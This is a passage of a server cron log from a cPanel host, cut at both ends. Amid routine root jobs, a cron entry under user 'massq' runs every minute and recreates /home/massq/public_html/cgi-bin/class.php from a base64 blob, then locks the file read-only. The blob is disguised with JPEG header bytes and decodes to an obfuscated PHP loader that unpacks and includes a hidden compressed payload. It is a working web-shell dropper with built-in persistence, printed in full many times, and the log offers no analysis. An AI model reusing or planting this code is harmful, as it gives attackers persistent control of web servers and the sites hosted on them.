FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:00:01 server CROND[28670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:00:01 server CROND[28671]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 22:00:01 server CROND[28672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:00:01 server CROND[28669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:00:01 server CROND[28673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:01:01 server CROND[28811]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 22:01:01 server CROND[28812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:01:01 server run-parts(/etc/cron.hourly)[28811]: starting 0anacron
Apr  7 22:01:01 server run-parts(/etc/cron.hourly)[28824]: finished 0anacron
Apr  7 22:02:01 server CROND[28892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:03:01 server CROND[28945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:04:01 server CROND[28997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:05:01 server CROND[29150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:05:01 server CROND[29152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:05:01 server CROND[29151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:05:01 server CROND[29153]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 22:06:01 server CROND[29284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:07:01 server CROND[29338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:08:01 server CROND[29390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:09:01 server CROND[29454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:09:01 server CROND[29455]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 22:10:01 server CROND[29646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:10:01 server CROND[29647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:10:01 server CROND[29648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:10:01 server CROND[29649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 22:11:01 server CROND[29765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:12:01 server CROND[29862]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 22:12:01 server CROND[29863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:13:01 server CROND[29925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 